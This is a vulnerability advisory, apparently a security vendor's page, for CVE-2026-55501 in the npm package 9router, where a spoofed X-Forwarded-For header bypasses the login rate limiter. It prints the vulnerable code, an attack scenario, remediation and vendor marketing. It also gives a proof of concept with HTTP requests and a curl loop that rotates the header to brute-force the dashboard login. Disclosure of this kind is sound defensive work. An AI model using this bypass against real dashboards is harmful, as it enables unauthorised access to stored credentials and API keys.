CVE-2026-55501

CVE-2026-55501 is a high-severity security vulnerability in 9router (npm), affecting versions <= 0.4.71. It is fixed in 0.4.77.

Summary

9router: Login brute-force protection bypass via spoofed X-Forwarded-For header

Full technical description

The 9router dashboard login rate limiter derives the client identity from the attacker-controlled X-Forwarded-For HTTP header. When 9router is directly exposed, or deployed behind a reverse proxy that does not overwrite untrusted forwarding headers, a remote attacker can rotate the X-Forwarded-For value on each login attempt and receive a fresh rate-limit bucket every time.

This bypasses the dashboard brute-force protection and makes the login lockout mechanism ineffective.

Details

Component File Note
Dashboard login rate limiter src/lib/auth/loginLimiter.js Uses X-Forwarded-For as the client identity without a trusted-proxy check
Dashboard login route src/app/api/auth/login/route.js Calls checkLock() and recordFail() using the spoofable client identity

Vulnerable Code

src/lib/auth/loginLimiter.js:

export function getClientIp(request) {
  const xff = request.headers.get("x-forwarded-for");
  if (xff) return xff.split(",")[0].trim();
  return request.headers.get("x-real-ip") || "unknown";
}

The returned value is used as the key for the in-memory rate-limit state:

const attempts = new Map(); // ip -> { fails, lockUntil, lockLevel, lastFailAt }

The login route uses this value when checking and recording failed login attempts:

export async function POST(request) {
  const ip = getClientIp(request);
  const lock = checkLock(ip);

  if (lock.locked) {
    return NextResponse.json(
      { error: `Too many failed attempts. Try again in ${lock.retryAfter}s.` },
      { status: 429 }
    );
  }

  // ... password validation ...

  recordFail(ip);
}

Because X-Forwarded-For is accepted directly from the request, each unique header value creates a new rate-limit bucket with zero previous failures. An attacker can therefore bypass both the 5-attempt threshold and the progressive lockout durations.

PoC

Step 1, Baseline: rate limiter triggers when the client identity is stable

Send repeated failed login attempts with the same X-Forwarded-For value:

POST /api/auth/login HTTP/1.1
Host: localhost:20128
Content-Type: application/json
X-Forwarded-For: 1.1.1.1

{"password":"wrong-password"}

Observed behavior:

Attempt Response
1 Invalid password. 4 attempt(s) left before lockout.
2 Invalid password. 3 attempt(s) left before lockout.
3 Invalid password. 2 attempt(s) left before lockout.
4 Invalid password. 1 attempt(s) left before lockout.
5 Too many failed attempts. Try again in 30s.
6 Too many failed attempts. Try again in 30s.

This confirms that the lockout logic works when all attempts are assigned to the same rate-limit bucket.

Step 2, Bypass: rotate X-Forwarded-For on each request

Send failed login attempts while changing the X-Forwarded-For value for every request:

for i in $(seq 1 10); do
  curl -s -X POST "http://localhost:20128/api/auth/login" \
    -H "Content-Type: application/json" \
    -H "X-Forwarded-For: 10.0.0.$i" \
    -d '{"password":"wrong-password"}'
  echo
done

Observed response for every request:

{
  "error": "Invalid password. 4 attempt(s) left before lockout.",
  "remainingBeforeLock": 4
}

The counter resets to the initial state on every request, and the lockout is never triggered.

Step 3, Impact amplifier: default dashboard password

If the instance is still using the default dashboard password, the rate-limit bypass allows an attacker to avoid lockout while attempting to authenticate.

Example request:

POST /api/auth/login HTTP/1.1
Host: localhost:20128
Content-Type: application/json
X-Forwarded-For: 99.99.99.99

{"password":"<default-dashboard-password>"}

Observed response on a default installation:

HTTP/1.1 200 OK
Set-Cookie: auth_token=<redacted>; Path=/; HttpOnly; SameSite=lax
{
  "success": true
}

The default password is an impact amplifier, not the root cause. Even if an administrator changes the password, the rate limiter remains structurally bypassable because the attacker controls the rate-limit key.

Attack Scenario

  1. A remote attacker identifies a publicly reachable 9router dashboard.
  2. The attacker sends repeated login attempts to /api/auth/login.
  3. For each attempt, the attacker changes the X-Forwarded-For header value.
  4. 9router treats each request as a different client and assigns a fresh rate-limit bucket.
  5. The attacker can continue brute-force attempts without triggering the configured lockout.
  6. If the instance uses a weak or default dashboard password, the attacker can gain administrative access.

Impact

A successful attacker can bypass the dashboard login lockout mechanism and perform unlimited brute-force attempts against the 9router dashboard password.

If authentication succeeds, the attacker can gain administrative access to the 9router dashboard and may be able to:

  • Access configured provider credentials and API keys.
  • Change dashboard and authentication settings.
  • Disable login protection if the application allows it.
  • Create persistent API keys or other long-lived access tokens.
  • Modify application configuration.
  • Chain the access with other server-side functionality exposed by the dashboard.

CVE-2026-55501 has a CVSS score of 7.3 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.4.77); upgrading removes the vulnerable code path.

Affected versions

9router (<= 0.4.71)

Security releases

9router → 0.4.77 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade 9router to 0.4.77 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-55501? CVE-2026-55501 is a high-severity security vulnerability in 9router (npm), affecting versions <= 0.4.71. It is fixed in 0.4.77.
  2. How severe is CVE-2026-55501? CVE-2026-55501 has a CVSS score of 7.3 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of 9router are affected by CVE-2026-55501? 9router (npm) versions <= 0.4.71 is affected.
  4. Is there a fix for CVE-2026-55501? Yes. CVE-2026-55501 is fixed in 0.4.77. Upgrade to this version or later.
  5. Is CVE-2026-55501 exploitable, and should I be worried? Whether CVE-2026-55501 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-55501 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-55501? Upgrade 9router to 0.4.77 or later.

Other vulnerabilities in 9router

Stop the waste.
Protect your environment with Kodem.